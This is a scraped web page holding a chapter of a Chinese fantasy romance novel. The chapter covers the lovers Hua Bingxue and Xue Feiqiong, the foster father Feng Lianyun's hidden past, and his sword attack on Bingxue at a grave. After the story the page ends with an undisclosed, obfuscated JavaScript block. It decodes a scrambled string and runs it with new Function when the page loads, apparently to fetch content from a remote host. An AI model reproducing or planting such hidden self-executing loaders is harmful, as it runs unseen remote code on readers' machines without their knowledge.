返回

玉树琼花盛冰雪(gl)

首页
关灯
护眼
字体:
第52章 忆冰之行
(手机请访问 m.duxs8.com)她们有着一样的两张脸,有着一样的名字,甚至有着一样的记忆。

但正是因为她知道她不是她,所以她才改了名字,想要替若彩了却这段因果。

记忆的存在,始终盘桓在心里梦里。

如今,一切的复仇竟然没有丝毫意义。

但无比庆幸,她遇见了她心中所爱,虽然,那是若彩的仇人,但是,这段记忆会改变她以前的那些记忆,她应当再不会被噩梦所影响了。

雪飞琼还是没有告诉花冰雪有关于那紫眸之事。

原因无他,只是眼下她说与不说,似乎没有什么意义,若冰雪知道了她是冰神的转世,她还能像现在这样拥她入怀吗?

一提起冰神,人们的第一反应都是至高无上,不可亵渎的。

可如今,她已经与她合欢缱绻,难分彼此了。

此刻,冰神便是转世了,她也只是花冰雪。

“冰雪,盈雪公主为了你,真的做了很多…”若不是事先知晓,她怎么会将花冰雪放在这个位置上?

若不是洞察之后之事,她怎么会这样直接飞升离去。

这是冰神的世界,冰神守护的大陆。

可是,她只想让花冰雪属于她一个人。

自取其心,灰飞烟灭,那样的场景,究竟是何等的血腥决绝?

“冰雪,若是有一天,你发现你在一个很高很高的位置,你身边没有别人,你会害怕吗?”她一定隐瞒着什么,例如万年之期,例如那些男子的画像…

此刻,雪飞琼的脑筋有些转过来了,花冰雪一定是猜测到了什么联系。

那些画像,似乎都与那萤石有关。

那她呢?她怎么也会与那萤石有关呢?莫非,如花冰雪所说,是因为她是七个侍女之一吗?

她与她的纠葛,已经再难斩断,如今,还会有其他六个女孩出现吗?

可她们出现,应该与她不一样的。

绝对,不一样的!

花冰雪疑惑的看了看怀里的人儿,轻声低喃道:“那你呢?”

“你不是在我的身边吗?这不是一场梦,我真实的拥有你,你真实的陪伴我,对不对?”雪飞琼拼命的点头:“我只是好怕…”

“你怕什么?”雪飞琼轻声道:“我怕…那时候…或许你…便不再需要我了…”

是什么,让她如此的担忧?

“不会的,只要你还爱我,我就需要你。等我们从忆冰回来,就提前婚期好不好?前后路程也就三四日,你现在有了孩子,趁着孩子没有显怀,我们先成亲。”这场婚典,是雪飞琼一直所期盼的,如今,依旧期盼。

但,义父…

义父,对不起,飞琼遇见了她,便无法自拔了。

这次回忆冰,我也很想问问您,究竟当年的一切是什么样?我相信您,也相信花冰雪。

她的解释那样清晰那样开诚布公,事实如此,当真如同天意注定。

若彩姐姐,你为什么又要想不开自尽呢?

“好,都随你…”花冰雪揽着她揽的更紧了:“以后,不要再拿你自己的命开玩笑了,一次两次,难道你都不会痛吗?”

“撞在白玉柱上是第一次,跳井是第二次,之后就没有了,虽然我不会死,可是我也痛啊,只是为了接近你,我什么手段都用尽了。我也觉得自己很傻,可是我满脑子里都是你,忘不掉,该怎么办?”她是个坏女人,无所不用其极。

“忆冰的马车上,昨夜在冷星楼上,难道这不算吗?”花冰雪容色分外的严肃,雪飞琼见了心里充满了暖意:“马车上我早就算计好了,你会在那条街上出现,至于昨夜…”

雪飞琼忽的停顿了下来,她的唇瓣轻轻的划过花冰雪的:“我只是想给你一个错觉,并没有打算真的跳下去,若跳下去,那还拿什么来继续诱惑你啊?我等了很久,可是却等来了慕雪漓。”

“你被他掳走那次,不也伤害了你自己吗?飞琼,答应我,别再让你自己受伤了。”雪飞琼郑重的点头:“我什么都听你的。”

自那日之后,所有人都心有所感,帝后之间仿佛更加甜蜜恩爱了。

是因为有了孩子,所以感情更胜往昔吗?

帝后和谐,诞育皇嗣,这是普天同庆的好事。

然而在某些人眼里看来,这一切却是天大的错误!

“她怎么可以,怎么可以如此?荒唐,荒唐,我要去找她,我绝不能让飞琼继续犯下大错!”此时,凤连云已经被风云哲带回了忆冰,但花影的消息却一日千里,似乎比他们御剑飞行的脚程还要快。

“这有何荒唐的?想那盈雪公主与水碧…”

“她们也是荒唐,女子怎么能够与女子在一起?而且姐妹相爱,有悖伦常!”姐妹…

“她不是雪飞琼吗?难道说,飞琼她真的是花若彩?”凤连云心知自己说错了话,连忙转移话题道:“云哲,你既然喜欢飞琼,为何不将她一并带回来,你与她相识了五年,也算是青梅竹马。若将她交给你,我也放心。”

“连叔叔,你还没有回答我的问题,飞琼到底是不是若彩?”两个人一样的容貌,一个失踪了一个出现了,这着实,透露着诡异。

“你可以去查看忆冰净葬的记录,那是私人保密的,但我带你去,便可以查到。”凤连云笃定的开口。

“那飞琼呢,她是谁的孩子,她是怎么出生的,什么时候出生的?她与我说,她只有九岁之后的记忆…”凤连云看着风云哲:“我说了不是,便不是。”

“那谈何姐妹相爱,有悖伦常?”风云哲的话越发让凤连云不解:“你到底想要知道什么?这一切又与你有什么想相干?她与花冰雪在一起,你苦恋了这么多年都得不到回报,你不难过不伤心吗?”

风云哲目光平静,风轻云淡的答道:“伤心如何,难过如何?注定不是我的,那就注定得不到。”

“什么注定不是你的?你放弃了她,才会注定得不到,你再去争取,把她带回来,你与她五年的相识,难道还比过花冰雪那个曾经是她仇人的丫头吗?”凤连云的话里充满了恨铁不成钢:“当年,若是我能离开凤氏一族去寻找霜葵,一切就都不一样了。”

“花盈雪有一句话说得对,我爱她,可是却爱错了。”风云哲看着陷入自己回忆中的凤连云道:“一切都是飞琼自己的选择,我并未情根深重,更谈不上背叛一说,只希望她们两个能好好的在一起,上一辈的恩怨,连叔叔你就让它过去吧。”

凤连云不说话,只是默默的向远处走去,风云哲跟着他,最终走到了一个地方。

“这是若彩的陵墓,飞琼她会回来的,无论她现在是真情还是假意,她这次回来之后,我就让她永远的留在这里,再不让她离开!”他的语气如此笃定,风云哲听了心下一惊。

如叔叔所说,她们的确要来忆冰了呢。

不管如何,她现在是怀了身孕呢,可千万不要生了什么变故才好啊。

“既然如此,叔叔我就暂时留在这里等飞琼回来。”

凤连云居住的地方在忆冰的兰星村,他是黑蛇一族,却被驱逐,只能在这乡野之地打造了一个自己的住处。

这是他曾经和飞琼的居所,如今,只有他自己一个人了。

飞琼,为什么,你不是选择忘掉一切了吗?如果早知道你重生忘掉一切的结果是爱上花冰雪,我也不用帮你换了身体封了记忆!

你是花若彩,是花冰雪同父异母的亲姐妹啊!

你们,怎么可以相爱?怎么可以在一起?还怀了孽种?!

我不是你的亲生父亲,但我比花庆伟更加在乎你,珍惜你,我告诉你改编过的一切,是希望恨能让你远离花家,远离花影,可你为什么还是那么执拗?

就像是我刚刚将你救回来的时候,那样执拗…

时光回溯,回到十年前,他暗算花盈雪后被擒住,在凤氏一族,他被施了五十铁藤鞭而后驱逐。

有那么一瞬间,他真的很想自我了结去地下找霜葵。

但唯一支持他的信念,就是若彩,霜葵在这世界上唯一留下的骨血,她的女儿。

即使她是花庆伟的女儿,也无所谓。

他要保护她,寻找她。

化为了蛇身,他万里迢迢的赶来花影。

他散尽了浑身的毒,再不去修炼天魔神功,如此,不带恶意的他,并没有被皇宫里的人所察觉。

若彩,是十五公主。

她长的那样漂亮,那样可爱,只是眉宇之间却总是带着暴戾与算计。

本来有一次,她被花庆伟关在牢笼里,他就可以带走她的,他是修炼者,若动了人界帝王,那因果算起来,恐怕会影响以后的轮回。

所以,他万般的痛恨花庆伟,却不敢拿自己的一世去赌。

后来,盈雪公主惩罚了花庆伟,将他废掉,这也算是间接地为霜葵报了仇了。

而若彩,最后与新帝起了争执,在她被关起来的时候,他终于现身了:“若彩,我来接你了,从今日起,我就是你的父亲。”

那小小的人儿啊,躺在床上,眼里一片空洞的死寂,她的手上缠着厚厚的绷带:“我的父亲是花庆伟,你是谁?!”

“杀了你母亲,将你关在牢里,他不配做你的父亲。若彩,我是凤连云,我爱你的母亲,我会好好照顾你,不再让你受苦的。”花若彩不屑的开口:“照顾我?不,若你真的要帮我,那就去杀了花冰雪,去杀了她!她要杀我,她又骗我,我恨死她了!”

“不,孩子,她是皇帝,我不能杀她,你和我离开,我们再不管花影的一切好吗?”花庆伟一死,他只感觉心里盘桓多时的刺被狠狠拔出,心里还是很痛,却已经舒坦多了。

“我不要,我不要…”凤连云长叹一声,最终广袖轻挥,瞬间,花若彩化为了金色的蛇身。

“真美丽,和你母亲一样。”他是黑蛇,炼药治毒是他的绝招,而霜葵是金蛇,针织布艺,她样样精通。

他认识她的时候,她来制药房取药:“星云师兄出了事,这位哥哥请你快点随我去救救他吧。”

她用力的拉了他的手,她的手那样软,那样滑嫩。

似乎,一见钟情…

可如今,伊人已经不在,如此,他唯一能做的就是照顾好她的孩子。

带着不甘愿的若彩,他们就这样消失了。

若彩那样小,不吃不喝,她似乎要绝食而亡。

她不愿意离开花影,不愿意离开泓都,直到有一天,他将皇榜揭下递给她看:“你看,她们要走了,去倾云城,换了新的国都,你是想要随她们离开吗?”

倾云城…离开…

花冰雪,你彻底的抛弃了我吗?找不到我也无所谓吗?

对啊,我死了,你也就称心如意了,盈姐姐的秘密不会暴露,一切都往好的地方发展。

只是,少了一个她而已。

也没什么大不了的。

为什么这么难过,为什么这样痛苦?如果,她当时不拿那件事去威胁花冰雪,是不是一切都不一样了。

她封她为女王,封号为玉,她一人之下万人之上,她还在花冰雪身边,可以欺负她。

但现在,一切都没有了,不可能了。

“我们离开要去哪?这天下这么大,你确定以后我的身份不会暴露吗?”凤连云见她有所松动,连忙解释道:“我们隐居在忆冰,那里散布着无数的忆冰之人,再过几年你长大了,模样自然会有所改变的。她找不到你,自然就会作罢了。”

找不到,也就算了?

是啊,算了,算了吧…

花若彩开始终日发呆,每日里话少的可怜。

她画了一幅花冰雪的画像摆在床头,每日里,眼睛里灼烧的火焰仿佛能够将画中笑颜如花的人烧个精光。

她开始做梦,梦见父皇一个巴掌打了过来,梦见母亲掉下万蛇窟,梦见花冰雪捂住了她的嘴唇。

为什么,还要记得一切?为什么记得这么清晰?

为什么,痛入骨髓,整个梦里,被痛苦所支配?

一年的时间,她还是忘不掉,整个人瘦弱的如同竹竿,再也没有了曾经的圆润可爱。

“啊,不要,母妃,不要,父皇不要!”宝剑如此的锋利,就那样斩断了母亲的手臂,那样的父亲,当真是她以前慈爱祥和的父亲吗?

画面一转,花冰雪冷声道:“你娘已经死了,你为什么还要活着妨碍朕?”

“我没有妨碍你,你对我那样坏,那样坏…”

“我再也不要与你在一起了,花若彩,我讨厌你,你去死吧!”花若彩猛地被噩梦惊醒,又做梦,总是做梦,这逃脱不掉的梦魇究竟何时可以烟消云散?

“若彩,若彩,你怎么了?我可以进来吗?”最起码,还是有一个人在乎她的。

哪怕她很讨厌她,但他真的对她很好。

“进来吧…”梦里,她的嗓子都喊哑了,梦外,声音嘶哑万分。

屋子里始终是灯火通明的,但她还是害怕,她不想再睡了,人为什么要睡觉呢?

“若彩,你又做噩梦了?”她点头,额头上满是薄汗,凤连云拿了帕子细细的为她擦拭着。

被珍惜被呵护的感觉是如此的温暖:“我…叫你义父好吗?”

凤连云一愣,随即疯狂的点头:“好,好孩子,谢谢你…”

“我的亲生父亲太坏了,你不是他,所以你不会抛弃我对吗?”凤连云将她搂在怀里:“对,你是我的孩子,是我和霜葵的孩子,我怎么会抛弃你呢?我会照顾你,让你和其他孩子一样幸福快乐。”

“那,你可以抱着我睡觉吗?我不想再一个人了,你抱着我,你听到我说梦话就马上推醒我,不要让我继续做梦了好不好?”凤连云对花若彩,当真疼爱的如同亲女。

花若彩还是会做梦,但是却总是被叫醒,这样的日子,比以前稍稍强一点。

她开始像正常的人一样生活,她开始学习琴棋书画,研究医毒之术。

“义父,可不可以让我也失忆呢?”在医书上,她看到一种失忆之症,可以忘却前尘往事。

头部受到重击或者精神上受到巨大的刺激,就会失忆。

她,是否可以一试呢?

忘掉一切吧!放下真的不容易,她不愿放下也不想放下,但这样活着,她真的很痛苦。

“我可以封住你的记忆,不必受创失忆。”花若彩笑了,笑的那样雀跃,她真的可以摆脱那些让她绝望的曾经真实发生过的梦境吗?

如此,便好了。

然而,还没等她被封住记忆的时候,家里便来了一个客人。

一个和花冰雪一样漂亮的女孩,虽然不想承认,但花冰雪真的很美,眼前的女孩,也是玉雪玲珑,长大以后,不知道会是何等的绝丽无双。

“你是谁?”对于忽然出现的女孩,凤连云心里充满了警戒。

“放下过去,方能从新来过,若彩,我今日来,是想给你一个机会。”那女孩手中静静的躺着一抔黄土:“此乃九天息壤…”

她绣着彩蝶的锦袖轻轻挥动,瞬间黄土幻化为了一个小人,她有着四肢有着五官,与她甚是相似。

“阁下究竟是谁?怎么会有娲皇娘娘的神器?”听闻,花盈雪便有幸得到了娲皇娘娘的恩赐九天息壤,她莫非是花冰雪派来的?

但他此刻并未表露,也没有同花若彩说。

“不要管我是谁。”那女孩定定的看着雪飞琼,最后道:“想要重新来过,就相信我。”

她将那九天息壤抛到凤连云手中:“五天之后,月圆之夜,我来助她离魂。”

话毕,她的身影瞬间消散在了人间,便是连金丹巅峰期的凤连云也没能找到她的存在。

“这个女孩,是个有大本事的人啊!”花若彩无疑十分雀跃,这样真好,重生…

重活一次…

她,不要再做花若彩了。

被人讨厌被人欺负被人抛弃的花若彩…

五日之后,那女孩果然如约而至,她问道:“决定好了么?”

花若彩点头:“我想重生,想忘记一切。”

母亲的一切,义父还是会告诉她,花冰雪要杀她的一切,她也会再知晓,只是,没有了身临其境,便不会再有恐慌,不会再有痛苦了。

她以后,听到的只是花若彩的一切。

是别人的一切。

女孩含笑着,来到她身边拉过她的双手:“每个人都渴望弥补旧日的遗憾,每个人都想要得到圆满,可偏偏事与愿违。有时候,一个擦肩而过,就会是永生永世的分离。若有爱存在,百转千回是你的还是你的。再不要挣扎了,去随着你的心,寻找你想要的吧。”

她的声音那样轻,凤连云没有听到。

花若彩惊讶着双眸,似乎眼前的女孩知道什么,可她为什么要与她说呢?

“我要开始施法了…”女孩与花若彩面对面,瞬间,她黝黑的眸子好似化为了一层薄薄的水雾,那水雾,还是紫色的,神秘的高贵的紫色。

花若彩无暇去思考一切,她只感觉自己的身体越来越轻,越来越轻,最后,失去了所有的知觉。

良久,她的身体没有了温度。

“她,会在一年之后的这一天重生。等她归魂,再将她原来的身体送去净葬了吧。”凤连云连忙开口:“为什么?为什么要帮若彩,你是谁?”

女孩的眼睛已经恢复了自然,那绝艳的颜色并未被凤连云所见到:“因为,她需要我的帮助,仅此而已。”

“若遇到了难解的困难,便烧了这根羽毛唤我前来吧。”话毕,她瞬间消散了身影,不知为何,凤连云似乎看到女孩消失的瞬间她的周身燃烧起了熊熊的大火。

凤连云仔细的端详着手中的羽毛,思绪回归了现实。

飞琼,为父绝对不会让你再陷入过去的纠葛中,你好不容易忘记了一切,绝对不能再让花冰雪影响了你本该拥有的安逸人生

你不是最恨她的吗?若有朝一日你恢复了记忆,那该如何自处?

凤连云心心念念的人们,已经再次踏上旅程。

这一次没有香车宝马,没有前簇后拥,只有四个人,准确来说是三人一蛇上路了。

青玉被花冰雪放了出来,之前的时候,它一直被禁锢着,被花冰雪关在了一个有了禁制的盒子里。

如今,花冰雪与雪飞琼两个和好了,自然也将青玉给放了出来。

这次出来之后,青玉感觉自己好像睡了好长一觉,再醒来,女主人和女皇好像更加要好了。

还复仇吗?

青玉不解!

“女皇姐姐,我们要去哪啊?”青玉问道。

“忆冰。”花冰雪将青玉执在手中:“我知道你和飞琼可以交流,你们两个闲来无事也可以聊天。”

御剑飞行,她没有将自己的本领藏起来。

凝冰宝剑上,她揽着雪飞琼。

而苏凡轩只能在她身后,将手搭在她的肩上。

对苏凡轩的动作,雪飞琼有些不喜,但是这是最快的一起前往的方法了。

其实,要苏凡轩来做什么呢?就她和冰雪青玉三个就可以了啊!

“陛下,臣亦可御剑。”苏凡轩说着,忽的手中显现出一把朴实无华的宝剑。

雪飞琼蓦然一笑,心里刚刚的计较也随之烟消云散了。

其实,只是一路同行,也没什么的,只是她对花冰雪的一切看的太重了。

她身旁有旁的人,她就接受不了。

“那好,你便和青玉一起,跟上朕与皇后吧。”花冰雪的话说完,瞬间脚下一动,凝冰已经飞速的带着两个人飞到了天上。

“飞琼,你刚刚笑什么?”花冰雪紧紧的从身后搂着雪飞琼,她那样的柔弱单薄,可不要受到惊吓才好。

“我哪里有笑?是你看错了…”花冰雪贴着她的耳畔,轻轻的吻了吻对方的耳垂。

雪飞琼身子一颤:“冰雪,你做什么!”

“你笑,是因为苏凡轩不会与我相触碰对不对?醋坛子!”她的头猛地向前倾,压上那欲要解释的红唇。

可不就是醋坛子么,陷害表哥,还嫉妒那些美男画像…

“你既然知道,为什么还要问我?”她表现的真的很明显吗?

她是她的妻子,她就讨厌那些人,就嫉妒,就吃醋,哼!

“我只是想更确定一下,我总算明白为什么姐姐在琼若姐姐身边的时候为什么那样开心了。在外人面前的时候,她是神使,是最尊贵的公主,她掌握着与天道沟通,知晓天神之事的能力。但在琼若姐姐眼里,她就是个普通的女子。在你身边,我也是这样,我只是一个普通的女子。飞琼,这次忆冰之行后,答应我,留在我身边,我们两个还有孩子永远在一起好吗?”花冰雪一个翻转,瞬间与雪飞琼面对面。

眸子里,是浓浓的解不开的深情。

雪飞琼情不自禁的吻上那眸子,她喜欢这黝黑的颜色,她不想要那神秘淡漠的紫色。

只是一个普通女子,只是她雪飞琼的妻啊。

这次之后,一切都结束吧。

其实,在心里,雪飞琼是极其排斥回去的,她忘不掉义父对她的再生之恩,养育之恩。

可同时,她更知道,义父恨死花家的人了,他又怎么可能同意她与花冰雪在一起呢?

更何况,她最开始是要为若彩姐姐报仇,义父拗不过她才让她出来的,但现在…

义父一定很生气,很生她的气。

“飞琼,你在想什么?你还有什么顾虑么?”她多怕再生什么变故啊!

千万,千万不要再发生别的变故了,既然缘分来了身边,又是两厢情愿,那就继续这样好了。

万年之期来临前,她将飞琼安顿好,之后再去迎战。

“没有,没有了,我自己的选择我会走到最后的,冰雪,你要相信我。”她笃定了一切,这次,义父如何为难,她都要求得他的肯定。

在雪飞琼的指引下,花冰雪与她一并来到了忆冰国的兰星村。

前后只用了不到三个时辰,而苏凡轩自是跟不上花冰雪的速度的。

将地址告诉了他,她们两个便率先到了目的地。

凤萝花树下…若彩…

宝剑消失,花冰雪揽着雪飞琼,自天而降。

即使是十一月初了,忆冰国还是那样温暖如春。

不知为何,她离开了,这里的气候就变了。

银白的凤萝花,那颜色与冰神的羽毛一样,阳光照射下,远远的,还带着七彩的光晕。

当花瓣落下,归于尘土,便恰好落在那小小的坟墓上。

若彩的身体已经化为了万千尘埃,不见踪迹了,这坟墓里面,没有她妹妹的身体。

衣冠冢,仅此而已。

水碧的惠后,琼若姐姐的嫡母死时也是净葬的,可她死的毫无愁怨,安然而逝。

“若彩,你恨我吗?”‘砰’的一下,花冰雪双膝落地,她脑子里闪过无数的花若彩的模样,怒目的,喜悦的,憎恨的,伤心的…

念念不忘,这么多年了,她终于见到了她,却只是一个衣冠冢。

她的泪水轻轻滑过脸颊,一滴一滴,在身下的尘土中氤氲出一个又一个小水圈。

“花冰雪!”忽的,空气中猛地一把宝剑袭来,她明明有能力躲得,然而,她却只是拦在了雪飞琼的身前,任由那宝剑穿透她的肩胛。

“不,义父,不要这样!”雪飞琼猛地冲了过去,拦在了凤连云身前,并用手去握住那冰凉的剑身:“义父,你不要伤害她!”

“飞琼,你演戏演的太痴迷了,怕是入戏太深了吧。你不是最恨她,要杀了她,为你姐姐报仇的吗?如今,若彩的坟墓在这里,你这般所为,你对得起她的在天之灵吗?”凤连云没有理会雪飞琼,手下的宝剑用力的向前倾,刺伤了雪飞琼双手的同时,那利刃在继续的穿透着花冰雪。

“住手!”风云哲不知从那里赶来,他祭出缠仙线制住了凤连云,随即来到了花冰雪面前:“女皇,你无事吧?”

花冰雪的白衣已经被鲜血染透,但她连眉头都没有皱一下:“这与你无关,是我曾经的旧事,你帮我护好飞琼就好。”

“你的手不要了吗?飞琼,你答应我要保护好你自己的。”雪飞琼朦胧着泪眼,最终双手在身前交汇,几个翻转间淡淡的青色光芒显现,瞬间,她的手已经恢复如初:“我没事,有事的是你!”

“我帮你疗伤!”风云哲的手夹着那宝剑,一阵银光划过,瞬间那宝剑已经离开了花冰雪。

男子的手掌贴着女子纤细的身体,他将自己的灵力源源不断的注入花冰雪的体内。

见到她受伤的瞬间,他的心也跟着乱了。

为什么不躲闪?就算是为了护着飞琼,也应该闪开的啊!

“多谢你!”花冰雪对其回以一笑,眼睛却在与雪飞琼对视:“飞琼,你不能仗着你可以疗伤就自己伤害自己啊!”

雪飞琼红着眼圈道:“你还说我,那你自己呢?”

她看了看脸色微白的花冰雪,最终轻盈起身,最后走到被禁锢的凤连云身旁,她轻轻跪倒在凤连云的面前开口道:“义父,是飞琼不好,飞琼没有控制住自己的心。我发现,我被她吸引,我看到她受伤我会心痛。您说的对,我不该来报复。如今,我将一切放下,不再恨了,您成全我们好吗?”

凤连云目光含恨的看着雪飞琼:“你是不该报复,但是你更加不能和花家的人有所牵扯,若彩生平最恨的就是花冰雪,而你,你却与她在一起!”

“义父…”

“若你与她在一起,那我今日就自绝于此,我唯一的女儿爱上了仇人,我没有妻子没有女儿,我活着还有什么意思?”凤连云看着雪飞琼沉声问道:“你是要我,还是要她?”

“义父,飞琼…飞琼…难以抉择…”为什么要这样折磨她?义父是她的亲人,而她与冰雪,才刚刚袒露心迹,两心相许。

凤连云道:“你只能选一样,要么与她幸福的回去过你们的帝后生活,而我,我在这里自爆而死。要么你们两个就此分开,永不相见!”

“若你自爆而死,那飞琼的后半生,将要承受什么样的痛苦?你可以刺我一剑两剑千剑万剑,这是我欠若彩,你尽可来讨!”凤连云看向已经面色恢复自然的花冰雪道:“那我的后半生,我将要承受什么样的痛苦?你的父皇夺走了我爱的人却害得她死于非命,而你,你害了若彩,又将飞琼带走!”

她害了若彩,这是事实…

“我愿意为以前的事赎罪,可若飞琼没有我,她以后的日子会快乐吗?你失去爱人的痛苦,你也要让你的女儿来一试吗?”凤连云的目光落在风云哲身上定定的说:“我可以抹去她的记忆,让她与云哲在一起。”

“我已经有了冰雪的骨肉,义父,你就看在这是你外孙的份上…”雪飞琼的话还没有说话,凤连云已经吼道:“不,这是个孽种,它是不该存在的!”

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();